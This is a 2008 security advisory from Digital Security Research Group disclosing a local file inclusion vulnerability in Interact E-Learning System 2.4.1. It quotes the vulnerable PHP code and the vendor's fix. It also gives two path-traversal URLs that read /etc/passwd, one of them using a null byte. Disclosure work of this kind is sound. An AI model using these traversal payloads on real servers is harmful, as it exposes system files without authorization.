DSEGRG-08-31.txt

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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-31  
  
  
Application: Interact E-Learning System   
Versions Affected: 2.4.1  
Vendor URL: http://sourceforge.net/projects/cce-interact  
Bug: Local File Include  
Exploits: YES  
Reported: 03.07.2008  
Vendor response: 04.07.2008  
Solution: YES  
Date of Public Advisory: 21.07.2008  
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
Interact E-Learning System system has local file include vulnerability in script help/help.php  
  
Vulnerable GET parameters "module", "file".  
  
Code  
****  
#################################################  
  
$module = isset($_GET['module']) ? $_GET['module']:'';  
$file = isset($_GET['file']) ? $_GET['file']:'';  
  
...  
  
$hpath=$CONFIG['BASE_PATH'].'/language/'.$_SESSION['language'].'/help/'.$module.'/'.$file;  
if (is_file($hpath)){  
require_once($hpath);  
} else {  
require_once($CONFIG['BASE_PATH'].'/language/default/help/'.$module.'/'.$file);  
}  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/help/help.php?module=../../../../../../../../../../../../../etc/passwd%00  
http://[server]/[installdir]/help/help.php?file=../../../../../../../../../../../../../etc/passwd  
  
  
  
Solution  
********  
  
This file is no longer required by the system. Remove it from installation.  
  
Vendor response:  
  
"I have posted an alert to users to remove this from their installations asap and will get it removed from the next release of the package."  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
  
  
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